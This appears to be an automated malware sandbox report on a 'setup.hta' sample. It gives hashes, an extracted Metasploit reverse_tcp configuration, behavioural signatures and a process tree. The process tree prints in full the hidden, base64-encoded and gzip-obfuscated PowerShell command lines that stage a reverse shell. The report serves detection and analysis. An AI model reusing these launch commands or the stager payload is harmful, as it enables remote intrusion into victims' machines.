Analysis
-
max time kernel
41s -
max time network
45s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
31-05-2024 18:11
Static task
static1
Behavioral task
behavioral1
Sample
setup.hta
Resource
win10v2004-20240508-en
Errors
General
-
Target
setup.hta
-
Size
7KB
-
MD5
7159cc75c0c3fa0e08ed40a8d29beeda
-
SHA1
e73631da77790cd6cb32e8a9e7e20706883ee288
-
SHA256
6101bca566955a1ff83fe145187fd0665dcc6f362364256c1f4b4842f3ad0f20
-
SHA512
e77de02b37a1df0e32bb01e8922f47db4bad8701d3a51ed24806e0e9f643a3af2a1626ed19913484037b36664de5d704e88c074093f08332e660ccc1208d244f
-
SSDEEP
192:mln2jh1hqT2g/yy0ue0Q3/Q7D1fcxSEB1ZT9XXrVeIfMlF8pTAld:gn2jh1hsDts08/QtoSErZRXXciMlvld
Malware Config
Extracted
metasploit
windows/reverse_tcp
192.168.1.139:4444
Signatures
-
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
Processes:
powershell.exepowershell.exepid process 624 powershell.exe 224 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation mshta.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies data under HKEY_USERS 15 IoCs
Processes:
LogonUI.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "137" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271" LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00 LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1" LogonUI.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid process 624 powershell.exe 624 powershell.exe 224 powershell.exe 224 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 624 powershell.exe Token: SeDebugPrivilege 224 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
LogonUI.exepid process 3748 LogonUI.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
mshta.exepowershell.exedescription pid process target process PID 400 wrote to memory of 624 400 mshta.exe powershell.exe PID 400 wrote to memory of 624 400 mshta.exe powershell.exe PID 400 wrote to memory of 624 400 mshta.exe powershell.exe PID 624 wrote to memory of 224 624 powershell.exe powershell.exe PID 624 wrote to memory of 224 624 powershell.exe powershell.exe PID 624 wrote to memory of 224 624 powershell.exe powershell.exe
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\setup.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKAAoACcAJwBIADQAcwBJAEEARwBmAHsAMQB9AFcARwBZAEMAQQA3AFYAVwArADIALwBhAFMAQgBEACsAdgBWAEwALwBCADYAdABDAHMAbABFAEoATgB7ADEAfQA4ADIAVABhAFIASwB0ADcAYgBqAFEAQgBLAEkAaQBYAGsARQBLAEQAcAB0ADcATQBYAGUAcwBQAFkAUwBlAHcAbQBoAHYAZgA3AHYATgAyAHQAdwBIAGkAcQBwAGMAaQBmAFYARQBzAGsAKwBaAG0AWgBuAHYALwBsAG0AWgB1AGUAcgB4AEIAZQBVAEoAMAByAGMAUABYAE8AVQBIACsALwBmAEsAYgB2AFAAeABTAG0ATwBGAGEAMQBFAGoASABGAEYASwBjAFgAcgBJADkAYwByAFAAKwAyAFcASABpAGEAVABSAFAAbQBxAGEARgBPADAAWABOAHsAMQB9ADgAeABqAFMAWgBIAFIAOQBiAHEAegBRAGwAaQB7ADIAfQBqAE8AcQA2AHsAMgB9AEUAewAxAH0AQwB3AGoAOABRADIAagBKAE4AUABLAHkAagAvAEsASwBDAEkAcABPAGIAaQA4AHUAUwBXACsAVQBIADQAewAxAH0AcABiACsAcgBwADQAegBmAFkATABZAFQAMgAxAGoAWQBqADQAaAB5AGcASgBKAEEANwBsADEAdwBIADAAdgBYAHEAdAA2AFMAVQBhAEcAcAAzADcANgBwADUAZQBsAEIAYgBWAFkAOQB1AFYAdABoAGwAbQBtAHEAdAA4AGsARQBpAGEAcwBCAFkAMgBwAFoAKwBWAG0AVwBCAC8AWQAzAFMANgBLAHAASABlAHEAbgBQAE8ATgB6AFUAUgAzAFIAcABGAEcAdgBEAHAASQBNAHoAJwAnACsAJwAnADAAawBYAHIATgAyAFQARABoACcAJwArACcAJwBFAFIARAB6AEkAVgBMAHYATgAwAG4AWgBTAEkAVgBaAHAAcwBiAHkAWABOAGIASQBVADAARgBZAFoAdQB5AG4AMABVAEIAQwBuAEoATQByAFcAaQBUAE8AVQBCADAAOQBuAHMATAAyADIANgBPAC8AMQAnACcAKwAnACcAcQBsAFEAZwBhAGsAMgB7ADEAfQA3AEUAUwBUAGwAUwA0ACsAawA5ADkAUQBuAFcAYgBXAEYAawA0AEMAUgBLAHoASwBmAGcAWgBZAG4AVQBwAHEARQBzADMASQAnACcAKwAnACcAWgB4AE8ANwA1AGcAbQBpAGwAWgBNAFYAWQBSAGYAawB2AFoAcgBRAHUAVwBSAGYAWQB2AFYAVgBKAGUANgA0AEUAVQBxADUASQB5AHgAVQBJADYAcAA1ADcAewAyAH0AbgBpAHcAWQBtAFMAcgBxAGUANQB4AFYAQgBLAGgARABOADgAagBHAFEARABBAG4AeABMAEQAZQBjAEcAZwArADAAOQA3ACsAUABPADAAVQBIAHoAVABmAEkAZQBBAHgANQByAEwATQA1AHEAcgBmAGwAVwBNAGkAdABLAEIAcwA3AEgAZwA2AFEAYQBtAHAAWAA2ADYASQB1AFgAWgBJADkANQBLAEsAWQBrAHEAYgA3AFYAVgBLAHgAUgBCADcAWQA3AEMAdwBuAFQASQBhAFQAQgA3AFUAbgA4AFIAKwA1AEoAQQBVAHUAUgAxAEgAdAB0AGsAVABoAE4AaQBiAHgASQBjAFUANwArAGcAcQByAFkAdgBIAEcAVABPAFMASQA1AEYAdABSAEQAcgBnAG4AZQBhAHUAJwAnACsAJwAnAHQAcwBnAGcAVQAwAFkAQwBiAEcAUQBBAEUAdABXAC8ASwBKADIARQBsAFAAeABxAEcAdQB1AEsAQQB0AEkAaQBuAHcASQBhAFEAWgBlAFEAYgBUAEwATAA1ADMAWgB4AGsAeABUADIAMABtAEgAeABBAEQAYwB7ADIAfQBnADQAMABMAGMAMABoAFEAVQBnAGgAdgBVAHUAJwAnACsAJwAnAEsAVABYAEcANgBuAEkATwBRAGEAagBHAGMAWgBSAFgARgBYAFUARwBHACsAaABYAEYASQA1AGkAUgB7ADEAfQBLAEsAZwBKAEsATwA3AEwAYgBRAFMAUABCACsAcQBUACsANQAyAFYAawB4AFEASAAyAGUAaQBNAEQAYwByAHYAdwBCAHoAewAyAH0ANgBqAEYAawAwAHkAawBLAHgAOABDAEMAJwAnACsAJwAnAGcARAAwAHYAUwBYAHgASwBXAFkAUwBqADQAcgBTAHsAMQB9AGcARQB4AE4AeAA0AE4AaQA4AFAAVgB2AFcAaABZAG0ARABGAEkARwA3AEIAMABEADkARwBBAEYAWQBtAEMASgB5AFIATgBVAHYAQQBUAEsARgBHAHUAZQBrAFMAMAA0AHkAVQBqAE0AVQBqAGsAMQBjAEoAaABPAEkAVABhAHMARQB1AE4AbgBGAFUANABKACcAJwArACcAJwBJAEcANgAxADgAbQBDAC8AMQB1AHkAUwAwAHcASwBNAEoANgA1AEMASQBIADIARwBCAGMAVgBaAFUAaABUAEEAWgBWAEgANABuAHQASAAvADgAZgA1AHYAOQBZAGIAYwBNAFIASwB5ACcAJwArACcAJwBTADQAawBXAHAARgBSAFUAMwBNAGoASgBPAGwATAA4AFYAbgAvAGMAQwBuAEoAdQBjAE0AbQBSAHkASQBWAGcASQBLAFQAOAB0AGoARQBHAGYAbgBjADMASgBZAFcANwBZAE4AKwBTAFYAMABFADMAOQBoAHUAZQBaAFEATQBGADcAVABXAFgAcwBPAHYAQQA3ADgAQgBiAGIAUwA1AGYAUgBpAGMAbgA5ADIAMgA5AEkANQB2AFoAZQA2AHAAOAB3AFgAUgAnACcAKwAnACcAewAyAH0AYgBqADIAdgAzAFMAUgBIADUAdwBGADUATQBnAGIATgB7ADEAfQBWADMAMABoAGEAVwBpADEAewAxAH0AOQBhAHAAagAnACcAKwAnACcATgB5AEQAZQBOAGYAagA0ACcAJwArACcAJwBPAHgANwBRAFcAaAAnACcAKwAnACcAZwBQAFUANgBrAGMAKwBNADEAeQA3AHAAWAB2AGoAegBLAEQAcgAxAGsAagBhADIAdAByAHcAbQA4ADMAVwB0AFkARQBhAGoAZQBaAGwAdwAxAGcAQQB7ADIAfQBGAEoAbgBnAFkASgB1AFQATgBjAFAARgB6AEMARwBHAG4AcAA1AFkAYgBZAHoAMAAyAGkAegBrAHoAUAByADYAbQBaAFUAewAyAH0AeQBZAGoAMQB0AEsAYgBUAGoAUQBmADgAYwB6ADcAUABMAFoAMQBYAFQAOABLAHMATgAzAFoASQBHAFQAeQB7ADEAfQBOAEgAWgBYACcAJwArACcAJwBOAGUAdQBlAEwALwBsAHgAMgBZAHoANABmAHEAUgAxAFYAeQBnAEUANABTAHMANQBHAFQAewAxAH0AbQBQAHgAOABiAEsAYgBJADEAWQBjACcAJwArACcAJwA0AFgAUABMADEAZQBXAGoAUwBlAG0AZwBoADAALwBFAHAAbQBmAFEARwBqAHQAbgByAE8AUwBZAGEAbgBOADcAZQAyAFUAewAyAH0ANgBxAEIAKwBOAHIAbgBGAGsAagB7ADEAfQBaADEATwBsAGwAZQBYADAAVQB3AHsAMgB9ADkAYQB0ADMAcgBsAHUATgBOAHMAQgArAGMANABuAGEAdwBEAHUAbABDAE0AYwBYAHsAMQB9AEYATQBhAE4AWAA5AGEAQQA0AHkAOQBrAHsAMgB9AGsAZgB1AHoAeQByAEkANABYAEoAawBjAG0AeQBEAGkAVABPADMAUQBhAGoAWgBlAE8AeQAyAEMALwBQADYAaAB6AE4ARwBUAHsAMgB9AGEANAB3AHUASgBoAHQASAAxADIAdABqAHQANABsAGEAQgBoACcAJwArACcAJwArAHsAMgB9AGgAcQBnAEgANABqAGcAMABlAHgAaABsADkALwBaADMAVwA2ADgATgBBAHgANgBNAFAAbgBYAEgAYwAzADEANAB6AFEANQAxADIAKwBxADUAMABiAFcAOABzADcANgBNADUAewAyAH0AOQAxAHkAegA3ADMASgA3AFcAMQBmADMAbgA0ADUAVwBKAEUAaAB6AEYASABBADEAMABmAGYAZwBCAFcAJwAnACsAJwAnAFQAQQBjADAARQBZADMANgByAEgAUwBIAGIAaQAxAFoATABOACsALwBLADkAMwBZADYALwBrAHoAYQByAHoAVwBDAGoAewAxAH0ANAB6AFMATABNAGcARABKAFEANAA0AHUATQB7ADIAfQBYAGoAcQA3AEsAcQAyAHkANgBuAFUAMABMAFMAOAAvAHkAOQBJAG0AaABBAEcASABSAE4ANgBhAGsARgAzAHgAQgBqADMAWgB7ADIAfQBlAEEAKwBnADcAOQBhAHQAdABGAFoARgBNAGIAdABIAE8AbgA5AHsAMQB9ADMASwB5AHEATgBnACsAYQBtAFgARgBFAHYASAB4AHgAUAB3AFUAVABZAFMAeQBlAC8AcQBCAFUAbABDAEUAVgBXAE0AaAA0AFoAaABRAEIAcwB3AEgAewAxAH0AeABtAG4AaQB4AHYAdgA1AHIARgBsAHgAdAB0AGEANgAwAGkATwAwAGsATwB6AHEATgA5AGwAdABzAEgAawAzAFMAdQBhAE4AcQBmAEIAdwB4AGUARABBAEkAcQAyAEcAdQBRAHYAWQBZAGUAbgBMAHkAQQBrAGcAUAAxAGIAMQBzAE0ASgBJAFkAbQA1ACsAdwA1AGcAcgB1AEwAUABmAEwAJwAnACsAJwAnAGgAQgBZAEMAQQBYAEEAMAB1AFAANQBXAFAAaABaAHcAcABZAE8ASwBBADMARQBHAFYAawBiADMAMABlAFcAOAB1AHgAVABoADcAVwBQACcAJwArACcAJwA1AFoAOQB1AHoAcQBXAGcAVAAvAGcAdAArAHoANQAyAG4AdABOADcAdAB2AFkAcABSAFIAMgBRAEwAMAB5AC8ATABMAGgAVwBlAHQANABBADgAQwBNAE0ASgBVAGcASwBRAEgAMQBaAG0AUgA3AFUATgBoAEgAdwA2ADcAaABIAGsAVwA0AHoAdwA0AGsAQQA3AHoAMwBTAHsAMgB9AGYAegBwAGMAcgBjAHsAJwAnACsAJwAnADIAfQBDAEYAbAAxAGoAZQBJAGYANABGAEUAdQBCAE4AOABiAFEATABBAEEAQQB7ADAAfQAnACcAKQAtAGYAJwAnAD0AJwAnACwAJwAnAG8AJwAnACwAJwAnAGQAJwAnACkAKQApACkALABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQApACkAJwA7ACQAcwAuAFUAcwBlAFMAaABlAGwAbABFAHgAZQBjAHUAdABlAD0AJABmAGEAbABzAGUAOwAkAHMALgBSAGUAZABpAHIAZQBjAHQAUwB0AGEAbgBkAGEAcgBkAE8AdQB0AHAAdQB0AD0AJAB0AHIAdQBlADsAJABzAC4AVwBpAG4AZABvAHcAUwB0AHkAbABlAD0AJwBIAGkAZABkAGUAbgAnADsAJABzAC4AQwByAGUAYQB0AGUATgBvAFcAaQBuAGQAbwB3AD0AJAB0AHIAdQBlADsAJABwAD0AWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAUwB0AGEAcgB0ACgAJABzACkAOwA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String((('H4sIAGf{1}WGYCA7VW+2/aSBD+vVL/B6tCslEJN{1}82TaRKt7bjQBKIiXkEKDpt7MXesPYSewmhvf7vN2twHiqpcifVEsk+ZmZnv/lmZuerxBeUJ0rcPXOUH+/fKbvPxSmOFa1EjHFFKcXrI9crP+2WHiaTRPmqaFO0XN{1}8xjSZHR9bqzQli{2}jOq6{2}E{1}Cwj8Q2jJNPKyj/KKCIpObi8uSW+UH4{1}pb+rp4zfYLYT21jYj4hygJJA7l1wH0vXqt6SUaGp376p5elBbVY9uVthlmmqt8kEiasBY2pZ+VmWB/Y3S6KpHeqnPONzUR3RpFGvDpIMz'+'0kXrN2TDh'+'ERDzIVLvN0nZSIVZpsbyXNbIU0FYZuyn0UBCnJMrWiTOUB09nsL226O/1'+'qlQgak2{1}7ESTlS4+k99QnWbWFk4CRKzKfgZYnUpqEs3I'+'ZxO75gmilZMVYRfkvZrQuWRfYvVVJe64EUq5IyxUI6p57{2}niwYmSrqe5xVBKhDN8jGQDAnxLDecGg+097+PO0UHzTfIeAx5rLM5qrflWMitKBs7Hg6QampX66IuXZI95KKYkqb7VVKxRB7Y7CwnTIaTB7Un8R+5JAUuR1HttkThNibxIcU7+gqrYvHGTOSI5FtRDrgneau'+'tsggU0YCbGQAEtW/KJ2ElPxqGuuKAtIinwIaQZeQbTLL53ZxkxT20mHxADc{2}g40Lc0hQUghvUu'+'KTXG6nIOQajGcZRXFXUGG+hXFI5iR{1}KKgJKO7LbQSPB+qT+52VkxQH2eiMDcrvwBz{2}6jFk0ykKx8CC'+'gD0vSXxKWYSj4rS{1}gExNx4Ni8PVvWhYmDFIG7B0D9GAFYmCJyRNUvATKFGuekS04yUjMUjk1cJhOITasEuNnFU4J'+'IG618mC/1uyS0wKMJ65CIH2GBcVZUhTAZVH4ntH/8f5v9YbcMRKy'+'S4kWpFRU3MjJOlL8Vn/cCnJucMmRyIVgIKT8tjEGfnc3JYW7YN+SV0E39hueZQMF7TWXsOvA78BbbS5fRicn9229I5vZe6p8wXR'+'{2}bj2v3SRH5wF5MgbN{1}V30haWi1{1}9apj'+'NyDeNfj4'+'Ox7QWh'+'gPU6kc+M1y7pXvjzKDr1kja2trwm83WtYEajeZlw1gA{2}FJngYJuTNcPFzCGGnp5YbYz02izkzPr6mZU{2}yYj1tKbTjQf8cz7PLZ1XT8KsN3ZIGTy{1}NHZX'+'NeueL/lx2Yz4fqR1VygE4Ss5GT{1}mPx8bKbI1Yc'+'4XPL1eWjSemgh0/EpmfQGjtnrOSYanN7e2U{2}6qB+NrnFkj{1}Z1OlleX0Uw{2}9at3rluNNsB+c4nawDulCMcX{1}FMaNX9aA4y9k{2}kfuzyrI4XJkcmyDiTO3QajZeOy2C/P6hzNGT{2}a4wuJhtH12tjt4laBh'+'+{2}hqgH4jg0exhl9/Z3W68NAx6MPnXHc314zQ512+q50bW8s76M5{2}91yz73J7W1f3n45WJEhzFHA10ffgBW'+'TAc0EY36rHSHbi1ZLN+/K93Y6/kzarzWCj{1}4zSLMgDJQ44uM{2}Xjq7Kq2y6nU0LS8/y9ImhAGHRN6akF3xBj3Z{2}eA+g79attFZFMbtHOn9{1}3KyqNg+amXFEvHxxPwUTYSye/qBUlCEVWMh4ZhQBswH{1}xmnixvv5rFlxtta60iO0kOzqN9ltsHk3SuaNqfBwxeDAIq2GuQvYYenLyAkgP1b1sMJIYm5+w5gruLPfL'+'hBYCAXA0uP5WPhZwpYOKA3EGVkb30eW8uxTh7WP'+'5Z9uzqWgT/gt+z52ntN7tvYpRR2QL0y/LLhWet4A8CMMJUgKQH1ZmR7UNhHw67hHkW4zw4kA7z3S{2}fzpcrc{'+'2}CFl1jeIf4FEuBN8bQLAAA{0}')-f'=','o','d')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4396,i,1067197275908310731,12785105794523264014,262144 --variations-seed-version --mojo-platform-channel-handle=3648 /prefetch:81⤵
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x4 /state0:0xa391a855 /state1:0x41c64e6d1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.logFilesize
1KB
MD54280e36a29fa31c01e4d8b2ba726a0d8
SHA1c485c2c9ce0a99747b18d899b71dfa9a64dabe32
SHA256e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359
SHA512494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
16KB
MD50c6f621538225aa3c87839b095fd74d5
SHA1f0a16142c0dcaa6834a872147cb808118056b349
SHA2566d11f09df8b9e309108cda0b2676c7be955e99823d221824e92bfb32f8a6d26a
SHA512da0b7417da1eeaec087582b5f8cd98067e0e0493fb4bfbc4699b5a160735acad577a821e8c8380791098a74e0a97b52222d4c4b1b19cc36a6422304086f39183
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xbysx355.f1u.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
memory/224-36-0x0000000006730000-0x0000000006731000-memory.dmpFilesize
4KB
-
memory/624-4-0x0000000074BA0000-0x0000000075350000-memory.dmpFilesize
7.7MB
-
memory/624-19-0x00000000063E0000-0x000000000642C000-memory.dmpFilesize
304KB
-
memory/624-6-0x0000000005680000-0x00000000056E6000-memory.dmpFilesize
408KB
-
memory/624-7-0x0000000005D80000-0x0000000005DE6000-memory.dmpFilesize
408KB
-
memory/624-0-0x0000000074BAE000-0x0000000074BAF000-memory.dmpFilesize
4KB
-
memory/624-17-0x0000000005DF0000-0x0000000006144000-memory.dmpFilesize
3.3MB
-
memory/624-18-0x0000000006390000-0x00000000063AE000-memory.dmpFilesize
120KB
-
memory/624-5-0x00000000052E0000-0x0000000005302000-memory.dmpFilesize
136KB
-
memory/624-20-0x0000000007CE0000-0x000000000835A000-memory.dmpFilesize
6.5MB
-
memory/624-21-0x00000000068D0000-0x00000000068EA000-memory.dmpFilesize
104KB
-
memory/624-3-0x0000000074BA0000-0x0000000075350000-memory.dmpFilesize
7.7MB
-
memory/624-25-0x0000000074BA0000-0x0000000075350000-memory.dmpFilesize
7.7MB
-
memory/624-2-0x0000000005750000-0x0000000005D78000-memory.dmpFilesize
6.2MB
-
memory/624-1-0x0000000002DE0000-0x0000000002E16000-memory.dmpFilesize
216KB